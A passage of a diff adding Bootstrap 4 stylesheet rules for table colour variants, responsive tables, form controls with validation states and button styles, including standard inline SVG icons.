.table-warning:hover { + background-color: #ffe8a1; +} + +.table-hover .table-warning:hover > td, +.table-hover .table-warning:hover > th { + background-color: #ffe8a1; +} + +.table-danger, +.table-danger > th, +.table-danger > td { + background-color: #f5c6cb; +} + +.table-danger th, +.table-danger td, +.table-danger thead th, +.table-danger tbody + tbody { + border-color: #ed969e; +} + +.table-hover .table-danger:hover { + background-color: #f1b0b7; +} + +.table-hover .table-danger:hover > td, +.table-hover .table-danger:hover > th { + background-color: #f1b0b7; +} + +.table-light, +.table-light > th, +.table-light > td { + background-color: #fdfdfe; +} + +.table-light th, +.table-light td, +.table-light thead th, +.table-light tbody + tbody { + border-color: #fbfcfc; +} + +.table-hover .table-light:hover { + background-color: #ececf6; +} + +.table-hover .table-light:hover > td, +.table-hover .table-light:hover > th { + background-color: #ececf6; +} + +.table-dark, +.table-dark > th, +.table-dark > td { + background-color: #c6c8ca; +} + +.table-dark th, +.table-dark td, +.table-dark thead th, +.table-dark tbody + tbody { + border-color: #95999c; +} + +.table-hover .table-dark:hover { + background-color: #b9bbbe; +} + +.table-hover .table-dark:hover > td, +.table-hover .table-dark:hover > th { + background-color: #b9bbbe; +} + +.table-active, +.table-active > th, +.table-active > td { + background-color: rgba(0, 0, 0, 0.075); +} + +.table-hover .table-active:hover { + background-color: rgba(0, 0, 0, 0.075); +} + +.table-hover .table-active:hover > td, +.table-hover .table-active:hover > th { + background-color: rgba(0, 0, 0, 0.075); +} + +.table .thead-dark th { + color: #fff; + background-color: #343a40; + border-color: #454d55; +} + +.table .thead-light th { + color: #495057; + background-color: #e9ecef; + border-color: #dee2e6; +} + +.table-dark { + color: #fff; + background-color: #343a40; +} + +.table-dark th, +.table-dark td, +.table-dark thead th { + border-color: #454d55; +} + +.table-dark.table-bordered { + border: 0; +} + +.table-dark.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(255, 255, 255, 0.05); +} + +.table-dark.table-hover tbody tr:hover { + color: #fff; + background-color: rgba(255, 255, 255, 0.075); +} + +@media (max-width: 575.98px) { + .table-responsive-sm { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + } + .table-responsive-sm > .table-bordered { + border: 0; + } +} + +@media (max-width: 767.98px) { + .table-responsive-md { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + } + .table-responsive-md > .table-bordered { + border: 0; + } +} + +@media (max-width: 991.98px) { + .table-responsive-lg { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + } + .table-responsive-lg > .table-bordered { + border: 0; + } +} + +@media (max-width: 1199.98px) { + .table-responsive-xl { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + } + .table-responsive-xl > .table-bordered { + border: 0; + } +} + +.table-responsive { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; +} + +.table-responsive > .table-bordered { + border: 0; +} + +.form-control { + display: block; + width: 100%; + height: calc(1.5em + 0.75rem + 2px); + padding: 0.375rem 0.75rem; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + background-color: #fff; + background-clip: padding-box; + border: 1px solid #ced4da; + border-radius: 0.25rem; + transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; +} + +@media (prefers-reduced-motion: reduce) { + .form-control { + transition: none; + } +} + +.form-control::-ms-expand { + background-color: transparent; + border: 0; +} + +.form-control:focus { + color: #495057; + background-color: #fff; + border-color: #80bdff; + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.form-control::-webkit-input-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control::-moz-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control:-ms-input-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control::-ms-input-placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control::placeholder { + color: #6c757d; + opacity: 1; +} + +.form-control:disabled, .form-control[readonly] { + background-color: #e9ecef; + opacity: 1; +} + +select.form-control:focus::-ms-value { + color: #495057; + background-color: #fff; +} + +.form-control-file, +.form-control-range { + display: block; + width: 100%; +} + +.col-form-label { + padding-top: calc(0.375rem + 1px); + padding-bottom: calc(0.375rem + 1px); + margin-bottom: 0; + font-size: inherit; + line-height: 1.5; +} + +.col-form-label-lg { + padding-top: calc(0.5rem + 1px); + padding-bottom: calc(0.5rem + 1px); + font-size: 1.25rem; + line-height: 1.5; +} + +.col-form-label-sm { + padding-top: calc(0.25rem + 1px); + padding-bottom: calc(0.25rem + 1px); + font-size: 0.875rem; + line-height: 1.5; +} + +.form-control-plaintext { + display: block; + width: 100%; + padding-top: 0.375rem; + padding-bottom: 0.375rem; + margin-bottom: 0; + line-height: 1.5; + color: #212529; + background-color: transparent; + border: solid transparent; + border-width: 1px 0; +} + +.form-control-plaintext.form-control-sm, .form-control-plaintext.form-control-lg { + padding-right: 0; + padding-left: 0; +} + +.form-control-sm { + height: calc(1.5em + 0.5rem + 2px); + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem; +} + +.form-control-lg { + height: calc(1.5em + 1rem + 2px); + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem; +} + +select.form-control[size], select.form-control[multiple] { + height: auto; +} + +textarea.form-control { + height: auto; +} + +.form-group { + margin-bottom: 1rem; +} + +.form-text { + display: block; + margin-top: 0.25rem; +} + +.form-row { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -5px; + margin-left: -5px; +} + +.form-row > .col, +.form-row > [class*="col-"] { + padding-right: 5px; + padding-left: 5px; +} + +.form-check { + position: relative; + display: block; + padding-left: 1.25rem; +} + +.form-check-input { + position: absolute; + margin-top: 0.3rem; + margin-left: -1.25rem; +} + +.form-check-input:disabled ~ .form-check-label { + color: #6c757d; +} + +.form-check-label { + margin-bottom: 0; +} + +.form-check-inline { + display: -ms-inline-flexbox; + display: inline-flex; + -ms-flex-align: center; + align-items: center; + padding-left: 0; + margin-right: 0.75rem; +} + +.form-check-inline .form-check-input { + position: static; + margin-top: 0; + margin-right: 0.3125rem; + margin-left: 0; +} + +.valid-feedback { + display: none; + width: 100%; + margin-top: 0.25rem; + font-size: 80%; + color: #28a745; +} + +.valid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: 0.25rem 0.5rem; + margin-top: .1rem; + font-size: 0.875rem; + line-height: 1.5; + color: #fff; + background-color: rgba(40, 167, 69, 0.9); + border-radius: 0.25rem; +} + +.was-validated .form-control:valid, .form-control.is-valid { + border-color: #28a745; + padding-right: calc(1.5em + 0.75rem); + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); + background-repeat: no-repeat; + background-position: center right calc(0.375em + 0.1875rem); + background-size: calc(0.75em + 0.375rem) calc(0.75em + 0.375rem); +} + +.was-validated .form-control:valid:focus, .form-control.is-valid:focus { + border-color: #28a745; + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.was-validated .form-control:valid ~ .valid-feedback, +.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback, +.form-control.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated textarea.form-control:valid, textarea.form-control.is-valid { + padding-right: calc(1.5em + 0.75rem); + background-position: top calc(0.375em + 0.1875rem) right calc(0.375em + 0.1875rem); +} + +.was-validated .custom-select:valid, .custom-select.is-valid { + border-color: #28a745; + padding-right: calc((1em + 0.75rem) * 3 / 4 + 1.75rem); + background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right 0.75rem center/8px 10px, url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(0.75em + 0.375rem) calc(0.75em + 0.375rem); +} + +.was-validated .custom-select:valid:focus, .custom-select.is-valid:focus { + border-color: #28a745; + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.was-validated .custom-select:valid ~ .valid-feedback, +.was-validated .custom-select:valid ~ .valid-tooltip, .custom-select.is-valid ~ .valid-feedback, +.custom-select.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .form-control-file:valid ~ .valid-feedback, +.was-validated .form-control-file:valid ~ .valid-tooltip, .form-control-file.is-valid ~ .valid-feedback, +.form-control-file.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label { + color: #28a745; +} + +.was-validated .form-check-input:valid ~ .valid-feedback, +.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback, +.form-check-input.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label { + color: #28a745; +} + +.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before { + border-color: #28a745; +} + +.was-validated .custom-control-input:valid ~ .valid-feedback, +.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback, +.custom-control-input.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before { + border-color: #34ce57; + background-color: #34ce57; +} + +.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.was-validated .custom-control-input:valid:focus:not(:checked) ~ .custom-control-label::before, .custom-control-input.is-valid:focus:not(:checked) ~ .custom-control-label::before { + border-color: #28a745; +} + +.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label { + border-color: #28a745; +} + +.was-validated .custom-file-input:valid ~ .valid-feedback, +.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback, +.custom-file-input.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label { + border-color: #28a745; + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.invalid-feedback { + display: none; + width: 100%; + margin-top: 0.25rem; + font-size: 80%; + color: #dc3545; +} + +.invalid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: 0.25rem 0.5rem; + margin-top: .1rem; + font-size: 0.875rem; + line-height: 1.5; + color: #fff; + background-color: rgba(220, 53, 69, 0.9); + border-radius: 0.25rem; +} + +.was-validated .form-control:invalid, .form-control.is-invalid { + border-color: #dc3545; + padding-right: calc(1.5em + 0.75rem); + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); + background-repeat: no-repeat; + background-position: center right calc(0.375em + 0.1875rem); + background-size: calc(0.75em + 0.375rem) calc(0.75em + 0.375rem); +} + +.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus { + border-color: #dc3545; + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.was-validated .form-control:invalid ~ .invalid-feedback, +.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback, +.form-control.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated textarea.form-control:invalid, textarea.form-control.is-invalid { + padding-right: calc(1.5em + 0.75rem); + background-position: top calc(0.375em + 0.1875rem) right calc(0.375em + 0.1875rem); +} + +.was-validated .custom-select:invalid, .custom-select.is-invalid { + border-color: #dc3545; + padding-right: calc((1em + 0.75rem) * 3 / 4 + 1.75rem); + background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right 0.75rem center/8px 10px, url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E") #fff no-repeat center right 1.75rem/calc(0.75em + 0.375rem) calc(0.75em + 0.375rem); +} + +.was-validated .custom-select:invalid:focus, .custom-select.is-invalid:focus { + border-color: #dc3545; + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.was-validated .custom-select:invalid ~ .invalid-feedback, +.was-validated .custom-select:invalid ~ .invalid-tooltip, .custom-select.is-invalid ~ .invalid-feedback, +.custom-select.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .form-control-file:invalid ~ .invalid-feedback, +.was-validated .form-control-file:invalid ~ .invalid-tooltip, .form-control-file.is-invalid ~ .invalid-feedback, +.form-control-file.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label { + color: #dc3545; +} + +.was-validated .form-check-input:invalid ~ .invalid-feedback, +.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback, +.form-check-input.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label { + color: #dc3545; +} + +.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before { + border-color: #dc3545; +} + +.was-validated .custom-control-input:invalid ~ .invalid-feedback, +.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback, +.custom-control-input.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before { + border-color: #e4606d; + background-color: #e4606d; +} + +.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.was-validated .custom-control-input:invalid:focus:not(:checked) ~ .custom-control-label::before, .custom-control-input.is-invalid:focus:not(:checked) ~ .custom-control-label::before { + border-color: #dc3545; +} + +.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label { + border-color: #dc3545; +} + +.was-validated .custom-file-input:invalid ~ .invalid-feedback, +.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback, +.custom-file-input.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label { + border-color: #dc3545; + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.form-inline { + display: -ms-flexbox; + display: flex; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -ms-flex-align: center; + align-items: center; +} + +.form-inline .form-check { + width: 100%; +} + +@media (min-width: 576px) { + .form-inline label { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + margin-bottom: 0; + } + .form-inline .form-group { + display: -ms-flexbox; + display: flex; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -ms-flex-align: center; + align-items: center; + margin-bottom: 0; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-plaintext { + display: inline-block; + } + .form-inline .input-group, + .form-inline .custom-select { + width: auto; + } + .form-inline .form-check { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + width: auto; + padding-left: 0; + } + .form-inline .form-check-input { + position: relative; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 0; + margin-right: 0.25rem; + margin-left: 0; + } + .form-inline .custom-control { + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + } + .form-inline .custom-control-label { + margin-bottom: 0; + } +} + +.btn { + display: inline-block; + font-weight: 400; + color: #212529; + text-align: center; + vertical-align: middle; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-color: transparent; + border: 1px solid transparent; + padding: 0.375rem 0.75rem; + font-size: 1rem; + line-height: 1.5; + border-radius: 0.25rem; + transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; +} + +@media (prefers-reduced-motion: reduce) { + .btn { + transition: none; + } +} + +.btn:hover { + color: #212529; + text-decoration: none; +} + +.btn:focus, .btn.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.btn.disabled, .btn:disabled { + opacity: 0.65; +} + +a.btn.disabled, +fieldset:disabled a.btn { + pointer-events: none; +} + +.btn-primary { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-primary:hover { + color: #fff; + background-color: #0069d9; + border-color: #0062cc; +} + +.btn-primary:focus, .btn-primary.focus { + box-shadow: 0 0 0 0.2rem rgba(38, 143, 255, 0.5); +} + +.btn-primary.disabled, .btn-primary:disabled { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active, +.show > .btn-primary.dropdown-toggle { + color: #fff; + background-color: #0062cc; + border-color: #005cbf; +} + +.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus, +.show > .btn-primary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(38, 143, 255, 0.5); +} + +.btn-secondary { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-secondary:hover { + color: #fff; + background-color: #5a6268; + border-color: #545b62; +} + +.btn-secondary:focus, .btn-secondary.focus { + box-shadow: 0 0 0 0.2rem rgba(130, 138, 145, 0.5); +} + +.btn-secondary.disabled, .btn-secondary:disabled { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active, +.show > .btn-secondary.dropdown-toggle { + color: #fff; + background-color: #545b62; + border-color: #4e555b; +} + +.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus, +.show > .btn-secondary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(130, 138, 145, 0.5); +} + +.btn-success { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-success:hover { + color: #fff; + background-color: #218838; + border-color: #1e7e34; +} + +.btn-success:focus, .btn-success.focus { + box-shadow: 0 0 0 0.2rem rgba(72, 180, 97, 0.5); +} + +.btn-success.disabled, .btn-success:disabled { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active, +.show > .btn-success.dropdown-toggle { + color: #fff; + background-color: #1e7e34; + border-color: #1c7430; +} + +.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus, +.show > .btn-success.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(72, 180, 97, 0.5); +} + +.btn-info { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-info:hover { + color: #fff; + background-color: #138496; + border-color: #117a8b; +} + +.btn-info:focus, .btn-info.focus { + box-shadow: 0 0 0 0.2rem rgba(58, 176, 195, 0.5); +} + +.btn-info.disabled, .btn-info:disabled { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active, +.show > .btn-info.dropdown-toggle { + color: #fff; + background-color: #117a8b; + border-color: #10707f; +} + +.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus, +.show > .btn-info.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(58, 176, 195, 0.5); +} + +.btn-warning { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-warning:hover { + color: #212529; + background-color: #e0a800; + border-color: #d39e00; +} + +.btn-warning:focus, .btn-warning.focus { + box-shadow: 0 0 0 0.2rem rgba(222, 170, 12, 0.5); +} + +.btn-warning.disabled, .btn-warning:disabled { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active, +.show > .btn-warning.dropdown-toggle { + color: #212529; + background-color: #d39e00; + border-color: #c69500; +} + +.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus, +.show > .btn-warning.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(222, 170, 12, 0.5); +} + +.btn-danger { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-danger:hover { + color: #fff; + background-color: #c82333; + border-color: #bd2130; +} + +.btn-danger:focus, .btn-danger.focus { + box-shadow: 0 0 0 0.2rem rgba(225, 83, 97, 0.5); +} + +.btn-danger.disabled, .btn-danger:disabled { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active, +.show > .btn-danger.dropdown-toggle { + color: #fff; + background-color: #bd2130; + border-color: #b21f2d; +} + +.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus, +.show > .btn-danger.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(225, 83, 97, 0.5); +} + +.btn-light { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-light:hover { + color: #212529; + background-color: #e2e6ea; + border-color: #dae0e5; +} + +.btn-light:focus, .btn-light.focus { + box-shadow: 0 0 0 0.2rem rgba(216, 217, 219, 0.5); +} + +.btn-light.disabled, .btn-light:disabled { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active, +.show > .btn-light.dropdown-toggle { + color: #212529; + background-color: #dae0e5; + border-color: #d3d9df; +} + +.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus, +.show > .btn-light.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(216, 217, 219, 0.5); +} + +.btn-dark { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-dark:hover { + color: #fff; + background-color: #23272b; + border-color: #1d2124; +} + +.btn-dark:focus, .btn-dark.focus { + box-shadow: 0 0 0 0.2rem rgba(82, 88, 93, 0.5); +} + +.btn-dark.disabled, .btn-dark:disabled { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active, +.show > .btn-dark.dropdown-toggle { + color: #fff; + background-color: #1d2124; + border-color: #171a1d; +} + +.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus, +.show > .btn-dark.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(82, 88, 93, 0.5); +} + +.btn-outline-primary { + color: #007bff; + border-color: #007bff; +} + +.btn-outline-primary:hover { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-outline-primary:focus, .btn-outline-primary.focus { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.btn-outline-primary.disabled, .btn-outline-primary:disabled { + color: #007bff; + background-color: transparent; +} + +.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active, +.show > .btn-outline-primary.dropdown-toggle { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-primary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.btn-outline-secondary { + color: #6c757d; + border-color: #6c757d; +} + +.btn-outline-secondary:hover { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-outline-secondary:focus, .btn-outline-secondary.focus { + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.btn-outline-secondary.disabled, .btn-outline-secondary:disabled { + color: #6c757d; + background-color: transparent; +} + +.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active, +.show > .btn-outline-secondary.dropdown-toggle { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-secondary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.btn-outline-success { + color: #28a745; + border-color: #28a745; +} + +.btn-outline-success:hover { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-outline-success:focus, .btn-outline-success.focus { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.btn-outline-success.disabled, .btn-outline-success:disabled { + color: #28a745; + background-color: transparent; +} + +.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active, +.show > .btn-outline-success.dropdown-toggle { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-success.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.btn-outline-info { + color: #17a2b8; + border-color: #17a2b8; +} + +.btn-outline-info:hover { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-outline-info:focus, .btn-outline-info.focus { + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.btn-outline-info.disabled, .btn-outline-info:disabled { + color: #17a2b8; + background-color: transparent; +} + +.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active, +.show > .btn-outline-info.dropdown-toggle { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-info.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.btn-outline-warning { + color: #ffc107; + border-color: #ffc107; +} + +.btn-outline-warning:hover { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-outline-warning:focus, .btn-outline-warning.focus { + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.btn-outline-warning.disabled, .btn-outline-warning:disabled { + color: #ffc107; + background-color: transparent; +} + +.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active, +.show > .btn-outline-warning.dropdown-toggle { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-warning.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.btn-outline-danger { + color: #dc3545; + border-color: #dc3545; +} + +.btn-outline-danger:hover { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-outline-danger:focus, .btn-outline-danger.focus { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.btn-outline-danger.disabled, .btn-outline-danger:disabled { + color: #dc3545; + background-color: transparent; +} + +.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active, +.show > .btn-outline-danger.dropdown-toggle { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus, +.show > 